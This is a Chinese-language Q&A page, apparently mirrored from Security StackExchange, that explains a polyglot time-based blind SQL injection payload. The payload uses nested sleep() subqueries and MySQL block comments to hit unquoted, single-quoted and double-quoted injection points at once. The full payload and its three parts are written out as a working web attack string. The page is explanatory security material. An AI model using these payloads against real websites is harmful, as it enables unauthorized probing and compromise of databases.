首页
学习
活动
专区
圈层
工具
发布
社区首页 >问答首页 >狡猾的盲SQL注入有效载荷

问狡猾的盲SQL注入有效载荷
EN

Security用户
提问于 2014-09-25 16:35:00
回答 1查看 3.5K关注 0票数 2

我来了这个盲的基于SQL注入时间的有效负载,我需要了解它是如何工作的。

代码语言:javascript
复制
(select(0)from(select(sleep(0)))v)/*'+(select(0)from(select(sleep(12)))v)+'"+(select(0)from(select(sleep(0)))v)+"*/
EN

回答 1

Security用户

发布于 2014-09-25 17:02:02

MySQL使用/* */作为块注释,在这个块中不会执行任何代码。您所看到的是三次注入,并且只有一次将根据这个SQL注入攻击增强的查询来执行。这是一个高效的黑客,以加快模糊的过程,一个网站的SQL注入。

如果注入点不使用引号,那么第一个睡眠有效载荷将执行并注释掉注入的其余部分:

代码语言:javascript
复制
(select(0)from(select(sleep(0)))v)/*

如果注入点使用单引号,则第二个有效载荷将执行:

代码语言:javascript
复制
'+(select(0)from(select(sleep(12)))v)+'

最后,如果查询使用双引号,那么第三个也是最后一个有效载荷将执行:

代码语言:javascript
复制
"+(select(0)from(select(sleep(0)))v)+"*/

复合注射不是很干净吗?

票数 4
EN
页面原文内容由Security提供。腾讯云小微IT领域专用引擎提供翻译支持
原文链接:

https://security.stackexchange.com/questions/68208

复制
相关文章

相似问题

领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档